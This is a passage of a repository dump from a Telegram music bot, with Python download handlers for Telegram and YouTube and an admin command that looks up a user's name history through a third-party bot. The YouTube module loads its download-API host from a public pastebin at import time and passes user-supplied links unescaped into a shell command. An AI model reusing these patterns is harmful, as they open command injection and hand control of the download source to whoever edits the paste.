  {
    "path": "BrandrdXMusic/platforms/Telegram.py",
    "content": "import asyncio\nimport os\nimport time\nfrom typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Voice\n\nimport config\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.formatters import (\n    check_duration,\n    convert_bytes,\n    get_readable_time,\n    seconds_to_min,\n)\n\n\nclass TeleAPI:\n    def __init__(self):\n        self.chars_limit = 4096\n        self.sleep = 5\n\n    async def send_split_text(self, message, string):\n        n = self.chars_limit\n        out = [(string[i : i + n]) for i in range(0, len(string), n)]\n        j = 0\n        for x in out:\n            if j <= 2:\n                j += 1\n                await message.reply_text(x, disable_web_page_preview=True)\n        return True\n\n    async def get_link(self, message):\n        return message.link\n\n    async def get_filename(self, file, audio: Union[bool, str] = None):\n        try:\n            file_name = file.file_name\n            if file_name is None:\n                file_name = \"ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ\" if audio else \"ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ\"\n        except:\n            file_name = \"ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ\" if audio else \"ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ\"\n        return file_name\n\n    async def get_duration(self, file):\n        try:\n            dur = seconds_to_min(file.duration)\n        except:\n            dur = \"Unknown\"\n        return dur\n\n    async def get_duration(self, filex, file_path):\n        try:\n            dur = seconds_to_min(filex.duration)\n        except:\n            try:\n                dur = await asyncio.get_event_loop().run_in_executor(\n                    None, check_duration, file_path\n                )\n                dur = seconds_to_min(dur)\n            except:\n                return \"Unknown\"\n        return dur\n\n    async def get_filepath(\n        self,\n        audio: Union[bool, str] = None,\n        video: Union[bool, str] = None,\n    ):\n        if audio:\n            try:\n                file_name = (\n                    audio.file_unique_id\n                    + \".\"\n                    + (\n                        (audio.file_name.split(\".\")[-1])\n                        if (not isinstance(audio, Voice))\n                        else \"ogg\"\n                    )\n                )\n            except:\n                file_name = audio.file_unique_id + \".\" + \"ogg\"\n            file_name = os.path.join(os.path.realpath(\"downloads\"), file_name)\n        if video:\n            try:\n                file_name = (\n                    video.file_unique_id + \".\" + (video.file_name.split(\".\")[-1])\n                )\n            except:\n                file_name = video.file_unique_id + \".\" + \"mp4\"\n            file_name = os.path.join(os.path.realpath(\"downloads\"), file_name)\n        return file_name\n\n    async def download(self, _, message, mystic, fname):\n        lower = [0, 8, 17, 38, 64, 77, 96]\n        higher = [5, 10, 20, 40, 66, 80, 99]\n        checker = [5, 10, 20, 40, 66, 80, 99]\n        speed_counter = {}\n        if os.path.exists(fname):\n            return True\n\n        async def down_load():\n            async def progress(current, total):\n                if current == total:\n                    return\n                current_time = time.time()\n                start_time = speed_counter.get(message.id)\n                check_time = current_time - start_time\n                upl = InlineKeyboardMarkup(\n                    [\n                        [\n                            InlineKeyboardButton(\n                                text=\"ᴄᴀɴᴄᴇʟ\",\n                                callback_data=\"stop_downloading\",\n                            ),\n                        ]\n                    ]\n                )\n                percentage = current * 100 / total\n                percentage = str(round(percentage, 2))\n                speed = current / check_time\n                eta = int((total - current) / speed)\n                eta = get_readable_time(eta)\n                if not eta:\n                    eta = \"0 sᴇᴄᴏɴᴅs\"\n                total_size = convert_bytes(total)\n                completed_size = convert_bytes(current)\n                speed = convert_bytes(speed)\n                percentage = int((percentage.split(\".\"))[0])\n                for counter in range(7):\n                    low = int(lower[counter])\n                    high = int(higher[counter])\n                    check = int(checker[counter])\n                    if low < percentage <= high:\n                        if high == check:\n                            try:\n                                await mystic.edit_text(\n                                    text=_[\"tg_1\"].format(\n                                        app.mention,\n                                        total_size,\n                                        completed_size,\n                                        percentage[:5],\n                                        speed,\n                                        eta,\n                                    ),\n                                    reply_markup=upl,\n                                )\n                                checker[counter] = 100\n                            except:\n                                pass\n\n            speed_counter[message.id] = time.time()\n            try:\n                await app.download_media(\n                    message.reply_to_message,\n                    file_name=fname,\n                    progress=progress,\n                )\n                try:\n                    elapsed = get_readable_time(\n                        int(int(time.time()) - int(speed_counter[message.id]))\n                    )\n                except:\n                    elapsed = \"0 sᴇᴄᴏɴᴅs\"\n                await mystic.edit_text(_[\"tg_2\"].format(elapsed))\n            except:\n                await mystic.edit_text(_[\"tg_3\"])\n\n        task = asyncio.create_task(down_load())\n        config.lyrical[mystic.id] = task\n        await task\n        verify = config.lyrical.get(mystic.id)\n        if not verify:\n            return False\n        config.lyrical.pop(mystic.id)\n        return True\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Youtube.py",
    "content": "import asyncio\nimport os\nimport re\nfrom typing import Union\nimport yt_dlp\nfrom pyrogram.enums import MessageEntityType\nfrom pyrogram.types import Message\nfrom youtubesearchpython.__future__ import VideosSearch\nfrom BrandrdXMusic.utils.formatters import time_to_seconds\nimport aiohttp\nfrom BrandrdXMusic import LOGGER\n\nYOUR_API_URL = None\nFALLBACK_API_URL = \"https://shrutibots.site\"\n\nasync def load_api_url():\n    global YOUR_API_URL\n    logger = LOGGER(\"BrandrdXMusic.platforms.Youtube.py\")\n    \n    try:\n        async with aiohttp.ClientSession() as session:\n            async with session.get(\"https://pastebin.com/raw/rLsBhAQa\", timeout=aiohttp.ClientTimeout(total=10)) as response:\n                if response.status == 200:\n                    content = await response.text()\n                    YOUR_API_URL = content.strip()\n                    logger.info(\"API URL loaded successfully\")\n                else:\n                    YOUR_API_URL = FALLBACK_API_URL\n                    logger.info(\"Using fallback API URL\")\n    except Exception:\n        YOUR_API_URL = FALLBACK_API_URL\n        logger.info(\"Using fallback API URL\")\n\ntry:\n    loop = asyncio.get_event_loop()\n    if loop.is_running():\n        asyncio.create_task(load_api_url())\n    else:\n        loop.run_until_complete(load_api_url())\nexcept RuntimeError:\n    pass\n\nasync def download_song(link: str) -> str:\n    global YOUR_API_URL\n    \n    if not YOUR_API_URL:\n        await load_api_url()\n        if not YOUR_API_URL:\n            YOUR_API_URL = FALLBACK_API_URL\n    \n    video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link\n\n    if not video_id or len(video_id) < 3:\n        return None\n\n    DOWNLOAD_DIR = \"downloads\"\n    os.makedirs(DOWNLOAD_DIR, exist_ok=True)\n    file_path = os.path.join(DOWNLOAD_DIR, f\"{video_id}.mp3\")\n\n    if os.path.exists(file_path):\n        return file_path\n\n    try:\n        async with aiohttp.ClientSession() as session:\n            params = {\"url\": video_id, \"type\": \"audio\"}\n            \n            async with session.get(\n                f\"{YOUR_API_URL}/download\",\n                params=params,\n                timeout=aiohttp.ClientTimeout(total=60)\n            ) as response:\n                if response.status != 200:\n                    return None\n\n                data = await response.json()\n                download_token = data.get(\"download_token\")\n                \n                if not download_token:\n                    return None\n                \n                stream_url = f\"{YOUR_API_URL}/stream/{video_id}?type=audio&token={download_token}\"\n                \n                async with session.get(\n                    stream_url,\n                    timeout=aiohttp.ClientTimeout(total=300)\n                ) as file_response:\n                    if file_response.status == 302:\n                        redirect_url = file_response.headers.get('Location')\n                        if redirect_url:\n                            async with session.get(redirect_url) as final_response:\n                                if final_response.status != 200:\n                                    return None\n                                with open(file_path, \"wb\") as f:\n                                    async for chunk in final_response.content.iter_chunked(16384):\n                                        f.write(chunk)\n                                return file_path\n                    elif file_response.status == 200:\n                        with open(file_path, \"wb\") as f:\n                            async for chunk in file_response.content.iter_chunked(16384):\n                                f.write(chunk)\n                        return file_path\n                    else:\n                        return None\n\n    except Exception:\n        return None\n\nasync def download_video(link: str) -> str:\n    global YOUR_API_URL\n    \n    if not YOUR_API_URL:\n        await load_api_url()\n        if not YOUR_API_URL:\n            YOUR_API_URL = FALLBACK_API_URL\n    \n    video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link\n\n    if not video_id or len(video_id) < 3:\n        return None\n\n    DOWNLOAD_DIR = \"downloads\"\n    os.makedirs(DOWNLOAD_DIR, exist_ok=True)\n    file_path = os.path.join(DOWNLOAD_DIR, f\"{video_id}.mp4\")\n\n    if os.path.exists(file_path):\n        return file_path\n\n    try:\n        async with aiohttp.ClientSession() as session:\n            params = {\"url\": video_id, \"type\": \"video\"}\n            \n            async with session.get(\n                f\"{YOUR_API_URL}/download\",\n                params=params,\n                timeout=aiohttp.ClientTimeout(total=60)\n            ) as response:\n                if response.status != 200:\n                    return None\n\n                data = await response.json()\n                download_token = data.get(\"download_token\")\n                \n                if not download_token:\n                    return None\n                \n                stream_url = f\"{YOUR_API_URL}/stream/{video_id}?type=video&token={download_token}\"\n                \n                async with session.get(\n                    stream_url,\n                    timeout=aiohttp.ClientTimeout(total=600)\n                ) as file_response:\n                    if file_response.status == 302:\n                        redirect_url = file_response.headers.get('Location')\n                        if redirect_url:\n                            async with session.get(redirect_url) as final_response:\n                                if final_response.status != 200:\n                                    return None\n                                with open(file_path, \"wb\") as f:\n                                    async for chunk in final_response.content.iter_chunked(16384):\n                                        f.write(chunk)\n                                return file_path\n                    elif file_response.status == 200:\n                        with open(file_path, \"wb\") as f:\n                            async for chunk in file_response.content.iter_chunked(16384):\n                                f.write(chunk)\n                        return file_path\n                    else:\n                        return None\n\n    except Exception:\n        return None\n\nasync def shell_cmd(cmd):\n    proc = await asyncio.create_subprocess_shell(\n        cmd,\n        stdout=asyncio.subprocess.PIPE,\n        stderr=asyncio.subprocess.PIPE,\n    )\n    out, errorz = await proc.communicate()\n    if errorz:\n        if \"unavailable videos are hidden\" in (errorz.decode(\"utf-8\")).lower():\n            return out.decode(\"utf-8\")\n        else:\n            return errorz.decode(\"utf-8\")\n    return out.decode(\"utf-8\")\n\nclass YouTubeAPI:\n    def __init__(self):\n        self.base = \"https://www.youtube.com/watch?v=\"\n        self.regex = r\"(?:youtube\\.com|youtu\\.be)\"\n        self.status = \"https://www.youtube.com/oembed?url=\"\n        self.listbase = \"https://youtube.com/playlist?list=\"\n        self.reg = re.compile(r\"\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])\")\n\n    async def exists(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        return bool(re.search(self.regex, link))\n\n    async def url(self, message_1: Message) -> Union[str, None]:\n        messages = [message_1]\n        if message_1.reply_to_message:\n            messages.append(message_1.reply_to_message)\n        for message in messages:\n            if message.entities:\n                for entity in message.entities:\n                    if entity.type == MessageEntityType.URL:\n                        text = message.text or message.caption\n                        return text[entity.offset: entity.offset + entity.length]\n            elif message.caption_entities:\n                for entity in message.caption_entities:\n                    if entity.type == MessageEntityType.TEXT_LINK:\n                        return entity.url\n        return None\n\n    async def details(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n            duration_min = result[\"duration\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n            vidid = result[\"id\"]\n            duration_sec = int(time_to_seconds(duration_min)) if duration_min else 0\n        return title, duration_min, duration_sec, thumbnail, vidid\n\n    async def title(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            return result[\"title\"]\n\n    async def duration(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            return result[\"duration\"]\n\n    async def thumbnail(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            return result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n\n    async def video(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        try:\n            downloaded_file = await download_video(link)\n            if downloaded_file:\n                return 1, downloaded_file\n            else:\n                return 0, \"Video download failed\"\n        except Exception as e:\n            return 0, f\"Video download error: {e}\"\n\n    async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.listbase + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        playlist = await shell_cmd(\n            f\"yt-dlp -i --get-id --flat-playlist --playlist-end {limit} --skip-download {link}\"\n        )\n        try:\n            result = [key for key in playlist.split(\"\\n\") if key]\n        except:\n            result = []\n        return result\n\n    async def track(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n            duration_min = result[\"duration\"]\n            vidid = result[\"id\"]\n            yturl = result[\"link\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        track_details = {\n            \"title\": title,\n            \"link\": yturl,\n            \"vidid\": vidid,\n            \"duration_min\": duration_min,\n            \"thumb\": thumbnail,\n        }\n        return track_details, vidid\n\n    async def formats(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        ytdl_opts = {\"quiet\": True}\n        ydl = yt_dlp.YoutubeDL(ytdl_opts)\n        with ydl:\n            formats_available = []\n            r = ydl.extract_info(link, download=False)\n            for format in r[\"formats\"]:\n                try:\n                    if \"dash\" not in str(format[\"format\"]).lower():\n                        formats_available.append(\n                            {\n                                \"format\": format[\"format\"],\n                                \"filesize\": format.get(\"filesize\"),\n                                \"format_id\": format[\"format_id\"],\n                                \"ext\": format[\"ext\"],\n                                \"format_note\": format[\"format_note\"],\n                                \"yturl\": link,\n                            }\n                        )\n                except:\n                    continue\n        return formats_available, link\n\n    async def slider(self, link: str, query_type: int, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        a = VideosSearch(link, limit=10)\n        result = (await a.next()).get(\"result\")\n        title = result[query_type][\"title\"]\n        duration_min = result[query_type][\"duration\"]\n        vidid = result[query_type][\"id\"]\n        thumbnail = result[query_type][\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        return title, duration_min, thumbnail, vidid\n\n    async def download(\n        self,\n        link: str,\n        mystic,\n        video: Union[bool, str] = None,\n        videoid: Union[bool, str] = None,\n        songaudio: Union[bool, str] = None,\n        songvideo: Union[bool, str] = None,\n        format_id: Union[bool, str] = None,\n        title: Union[bool, str] = None,\n    ) -> str:\n        if videoid:\n            link = self.base + link\n\n        try:\n            if video:\n                downloaded_file = await download_video(link)\n            else:\n                downloaded_file = await download_song(link)\n            \n            if downloaded_file:\n                return downloaded_file, True\n            else:\n                return None, False\n        except Exception:\n            return None, False\n"
  },
  {
    "path": "BrandrdXMusic/platforms/Youtube.txt",
    "content": "import asyncio\nimport os\nimport re\nimport json\nfrom typing import Union\n\nimport yt_dlp\nfrom pyrogram.enums import MessageEntityType\nfrom pyrogram.types import Message\nfrom youtubesearchpython.__future__ import VideosSearch\n\nfrom LOKESHXMUSIC.utils.database import is_on_off\nfrom LOKESHXMUSIC.utils.formatters import time_to_seconds\n\n\n\nimport os\nimport glob\nimport random\nimport logging\n\ndef cookie_txt_file():\n    folder_path = f\"{os.getcwd()}/cookies\"\n    filename = f\"{os.getcwd()}/cookies/logs.csv\"\n    txt_files = glob.glob(os.path.join(folder_path, '*.txt'))\n    if not txt_files:\n        raise FileNotFoundError(\"No .txt files found in the specified folder.\")\n    cookie_txt_file = random.choice(txt_files)\n    with open(filename, 'a') as file:\n        file.write(f'Choosen File : {cookie_txt_file}\\n')\n    return f\"\"\"cookies/{str(cookie_txt_file).split(\"/\")[-1]}\"\"\"\n\n\n\nasync def check_file_size(link):\n    async def get_format_info(link):\n        proc = await asyncio.create_subprocess_exec(\n            \"yt-dlp\",\n            \"--cookies\", cookie_txt_file(),\n            \"-J\",\n            link,\n            stdout=asyncio.subprocess.PIPE,\n            stderr=asyncio.subprocess.PIPE\n        )\n        stdout, stderr = await proc.communicate()\n        if proc.returncode != 0:\n            print(f'Error:\\n{stderr.decode()}')\n            return None\n        return json.loads(stdout.decode())\n\n    def parse_size(formats):\n        total_size = 0\n        for format in formats:\n            if 'filesize' in format:\n                total_size += format['filesize']\n        return total_size\n\n    info = await get_format_info(link)\n    if info is None:\n        return None\n    \n    formats = info.get('formats', [])\n    if not formats:\n        print(\"No formats found.\")\n        return None\n    \n    total_size = parse_size(formats)\n    return total_size\n\nasync def shell_cmd(cmd):\n    proc = await asyncio.create_subprocess_shell(\n        cmd,\n        stdout=asyncio.subprocess.PIPE,\n        stderr=asyncio.subprocess.PIPE,\n    )\n    out, errorz = await proc.communicate()\n    if errorz:\n        if \"unavailable videos are hidden\" in (errorz.decode(\"utf-8\")).lower():\n            return out.decode(\"utf-8\")\n        else:\n            return errorz.decode(\"utf-8\")\n    return out.decode(\"utf-8\")\n\n\nclass YouTubeAPI:\n    def __init__(self):\n        self.base = \"https://www.youtube.com/watch?v=\"\n        self.regex = r\"(?:youtube\\.com|youtu\\.be)\"\n        self.status = \"https://www.youtube.com/oembed?url=\"\n        self.listbase = \"https://youtube.com/playlist?list=\"\n        self.reg = re.compile(r\"\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])\")\n\n    async def exists(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if re.search(self.regex, link):\n            return True\n        else:\n            return False\n\n    async def url(self, message_1: Message) -> Union[str, None]:\n        messages = [message_1]\n        if message_1.reply_to_message:\n            messages.append(message_1.reply_to_message)\n        text = \"\"\n        offset = None\n        length = None\n        for message in messages:\n            if offset:\n                break\n            if message.entities:\n                for entity in message.entities:\n                    if entity.type == MessageEntityType.URL:\n                        text = message.text or message.caption\n                        offset, length = entity.offset, entity.length\n                        break\n            elif message.caption_entities:\n                for entity in message.caption_entities:\n                    if entity.type == MessageEntityType.TEXT_LINK:\n                        return entity.url\n        if offset in (None,):\n            return None\n        return text[offset : offset + length]\n\n    async def details(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n            duration_min = result[\"duration\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n            vidid = result[\"id\"]\n            if str(duration_min) == \"None\":\n                duration_sec = 0\n            else:\n                duration_sec = int(time_to_seconds(duration_min))\n        return title, duration_min, duration_sec, thumbnail, vidid\n\n    async def title(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n        return title\n\n    async def duration(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            duration = result[\"duration\"]\n        return duration\n\n    async def thumbnail(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        return thumbnail\n\n    async def video(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        proc = await asyncio.create_subprocess_exec(\n            \"yt-dlp\",\n            \"--cookies\",cookie_txt_file(),\n            \"-g\",\n            \"-f\",\n            \"best[height<=?720][width<=?1280]\",\n            f\"{link}\",\n            stdout=asyncio.subprocess.PIPE,\n            stderr=asyncio.subprocess.PIPE,\n        )\n        stdout, stderr = await proc.communicate()\n        if stdout:\n            return 1, stdout.decode().split(\"\\n\")[0]\n        else:\n            return 0, stderr.decode()\n\n    async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.listbase + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        playlist = await shell_cmd(\n            f\"yt-dlp -i --get-id --flat-playlist --cookies {cookie_txt_file()} --playlist-end {limit} --skip-download {link}\"\n        )\n        try:\n            result = playlist.split(\"\\n\")\n            for key in result:\n                if key == \"\":\n                    result.remove(key)\n        except:\n            result = []\n        return result\n\n    async def track(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        results = VideosSearch(link, limit=1)\n        for result in (await results.next())[\"result\"]:\n            title = result[\"title\"]\n            duration_min = result[\"duration\"]\n            vidid = result[\"id\"]\n            yturl = result[\"link\"]\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        track_details = {\n            \"title\": title,\n            \"link\": yturl,\n            \"vidid\": vidid,\n            \"duration_min\": duration_min,\n            \"thumb\": thumbnail,\n        }\n        return track_details, vidid\n\n    async def formats(self, link: str, videoid: Union[bool, str] = None):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        ytdl_opts = {\"quiet\": True, \"cookiefile\" : cookie_txt_file()}\n        ydl = yt_dlp.YoutubeDL(ytdl_opts)\n        with ydl:\n            formats_available = []\n            r = ydl.extract_info(link, download=False)\n            for format in r[\"formats\"]:\n                try:\n                    str(format[\"format\"])\n                except:\n                    continue\n                if not \"dash\" in str(format[\"format\"]).lower():\n                    try:\n                        format[\"format\"]\n                        format[\"filesize\"]\n                        format[\"format_id\"]\n                        format[\"ext\"]\n                        format[\"format_note\"]\n                    except:\n                        continue\n                    formats_available.append(\n                        {\n                            \"format\": format[\"format\"],\n                            \"filesize\": format[\"filesize\"],\n                            \"format_id\": format[\"format_id\"],\n                            \"ext\": format[\"ext\"],\n                            \"format_note\": format[\"format_note\"],\n                            \"yturl\": link,\n                        }\n                    )\n        return formats_available, link\n\n    async def slider(\n        self,\n        link: str,\n        query_type: int,\n        videoid: Union[bool, str] = None,\n    ):\n        if videoid:\n            link = self.base + link\n        if \"&\" in link:\n            link = link.split(\"&\")[0]\n        a = VideosSearch(link, limit=10)\n        result = (await a.next()).get(\"result\")\n        title = result[query_type][\"title\"]\n        duration_min = result[query_type][\"duration\"]\n        vidid = result[query_type][\"id\"]\n        thumbnail = result[query_type][\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        return title, duration_min, thumbnail, vidid\n\n    async def download(\n        self,\n        link: str,\n        mystic,\n        video: Union[bool, str] = None,\n        videoid: Union[bool, str] = None,\n        songaudio: Union[bool, str] = None,\n        songvideo: Union[bool, str] = None,\n        format_id: Union[bool, str] = None,\n        title: Union[bool, str] = None,\n    ) -> str:\n        if videoid:\n            link = self.base + link\n        loop = asyncio.get_running_loop()\n        def audio_dl():\n            ydl_optssx = {\n                \"format\": \"bestaudio/best\",\n                \"outtmpl\": \"downloads/%(id)s.%(ext)s\",\n                \"geo_bypass\": True,\n                \"nocheckcertificate\": True,\n                \"quiet\": True,\n                \"cookiefile\" : cookie_txt_file(),\n                \"no_warnings\": True,\n            }\n            x = yt_dlp.YoutubeDL(ydl_optssx)\n            info = x.extract_info(link, False)\n            xyz = os.path.join(\"downloads\", f\"{info['id']}.{info['ext']}\")\n            if os.path.exists(xyz):\n                return xyz\n            x.download([link])\n            return xyz\n\n        def video_dl():\n            ydl_optssx = {\n                \"format\": \"(bestvideo[height<=?720][width<=?1280][ext=mp4])+(bestaudio[ext=m4a])\",\n                \"outtmpl\": \"downloads/%(id)s.%(ext)s\",\n                \"geo_bypass\": True,\n                \"nocheckcertificate\": True,\n                \"quiet\": True,\n                \"cookiefile\" : cookie_txt_file(),\n                \"no_warnings\": True,\n            }\n            x = yt_dlp.YoutubeDL(ydl_optssx)\n            info = x.extract_info(link, False)\n            xyz = os.path.join(\"downloads\", f\"{info['id']}.{info['ext']}\")\n            if os.path.exists(xyz):\n                return xyz\n            x.download([link])\n            return xyz\n\n        def song_video_dl():\n            formats = f\"{format_id}+140\"\n            fpath = f\"downloads/{title}\"\n            ydl_optssx = {\n                \"format\": formats,\n                \"outtmpl\": fpath,\n                \"geo_bypass\": True,\n                \"nocheckcertificate\": True,\n                \"quiet\": True,\n                \"no_warnings\": True,\n                \"cookiefile\" : cookie_txt_file(),\n                \"prefer_ffmpeg\": True,\n                \"merge_output_format\": \"mp4\",\n            }\n            x = yt_dlp.YoutubeDL(ydl_optssx)\n            x.download([link])\n\n        def song_audio_dl():\n            fpath = f\"downloads/{title}.%(ext)s\"\n            ydl_optssx = {\n                \"format\": format_id,\n                \"outtmpl\": fpath,\n                \"geo_bypass\": True,\n                \"nocheckcertificate\": True,\n                \"quiet\": True,\n                \"no_warnings\": True,\n                \"cookiefile\" : cookie_txt_file(),\n                \"prefer_ffmpeg\": True,\n                \"postprocessors\": [\n                    {\n                        \"key\": \"FFmpegExtractAudio\",\n                        \"preferredcodec\": \"mp3\",\n                        \"preferredquality\": \"192\",\n                    }\n                ],\n            }\n            x = yt_dlp.YoutubeDL(ydl_optssx)\n            x.download([link])\n\n        if songvideo:\n            await loop.run_in_executor(None, song_video_dl)\n            fpath = f\"downloads/{title}.mp4\"\n            return fpath\n        elif songaudio:\n            await loop.run_in_executor(None, song_audio_dl)\n            fpath = f\"downloads/{title}.mp3\"\n            return fpath\n        elif video:\n            if await is_on_off(1):\n                direct = True\n                downloaded_file = await loop.run_in_executor(None, video_dl)\n            else:\n                proc = await asyncio.create_subprocess_exec(\n                    \"yt-dlp\",\n                    \"--cookies\",cookie_txt_file(),\n                    \"-g\",\n                    \"-f\",\n                    \"best[height<=?720][width<=?1280]\",\n                    f\"{link}\",\n                    stdout=asyncio.subprocess.PIPE,\n                    stderr=asyncio.subprocess.PIPE,\n                )\n                stdout, stderr = await proc.communicate()\n                if stdout:\n                    downloaded_file = stdout.decode().split(\"\\n\")[0]\n                    direct = False\n                else:\n                   file_size = await check_file_size(link)\n                   if not file_size:\n                     print(\"None file Size\")\n                     return\n                   total_size_mb = file_size / (1024 * 1024)\n                   if total_size_mb > 250:\n                     print(f\"File size {total_size_mb:.2f} MB exceeds the 100MB limit.\")\n                     return None\n                   direct = True\n                   downloaded_file = await loop.run_in_executor(None, video_dl)\n        else:\n            direct = True\n            downloaded_file = await loop.run_in_executor(None, audio_dl)\n        return downloaded_file, direct\n"
  },
  {
    "path": "BrandrdXMusic/platforms/__init__.py",
    "content": "from .Apple import AppleAPI\nfrom .Carbon import CarbonAPI\nfrom .Resso import RessoAPI\nfrom .Soundcloud import SoundAPI\nfrom .Spotify import SpotifyAPI\nfrom .Telegram import TeleAPI\nfrom .Youtube import YouTubeAPI\n"
  },
  {
    "path": "BrandrdXMusic/plugins/__init__.py",
    "content": "import glob\nfrom os.path import dirname, isfile\n\n\ndef __list_all_modules():\n    work_dir = dirname(__file__)\n    mod_paths = glob.glob(work_dir + \"/*/*.py\")\n\n    all_modules = [\n        (((f.replace(work_dir, \"\")).replace(\"/\", \".\"))[:-3])\n        for f in mod_paths\n        if isfile(f) and f.endswith(\".py\") and not f.endswith(\"__init__.py\")\n    ]\n\n    return all_modules\n\n\nALL_MODULES = sorted(__list_all_modules())\n__all__ = ALL_MODULES + [\"ALL_MODULES\"]\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/Sangmata.py",
    "content": "import asyncio\nimport random\n\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom pyrogram.raw.functions.messages import DeleteHistory\n\nfrom BrandrdXMusic import userbot as us, app\nfrom BrandrdXMusic.core.userbot import assistants\n\n@app.on_message(filters.command(\"sg\"))\nasync def sg(client: Client, message: Message):\n    if len(message.text.split()) < 1 and not message.reply_to_message:\n        return await message.reply(\"sg username/id/reply\")\n    if message.reply_to_message:\n        args = message.reply_to_message.from_user.id\n    else:\n        args = message.text.split()[1]\n    lol = await message.reply(\"<code>Processing...</code>\")\n    if args:\n        try:\n            user = await client.get_users(f\"{args}\")\n        except Exception:\n            return await lol.edit(\"<code>Please specify a valid user!</code>\")\n    bo = [\"sangmata_bot\", \"sangmata_beta_bot\"]\n    sg = random.choice(bo)\n    if 1 in assistants:\n        ubot = us.one\n    \n    try:\n        a = await ubot.send_message(sg, f\"{user.id}\")\n        await a.delete()\n    except Exception as e:\n        return await lol.edit(e)\n    await asyncio.sleep(1)\n    \n    async for stalk in ubot.search_messages(a.chat.id):\n        if stalk.text == None:\n            continue\n        if not stalk:\n            await message.reply(\"botnya ngambek\")\n        elif stalk:\n            await message.reply(f\"{stalk.text}\")\n            break  \n    \n    try:\n        user_info = await ubot.resolve_peer(sg)\n        await ubot.send(DeleteHistory(peer=user_info, max_id=0, revoke=True))\n    except Exception:\n        pass\n    \n    await lol.delete()\n    \n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/all_tag.py",
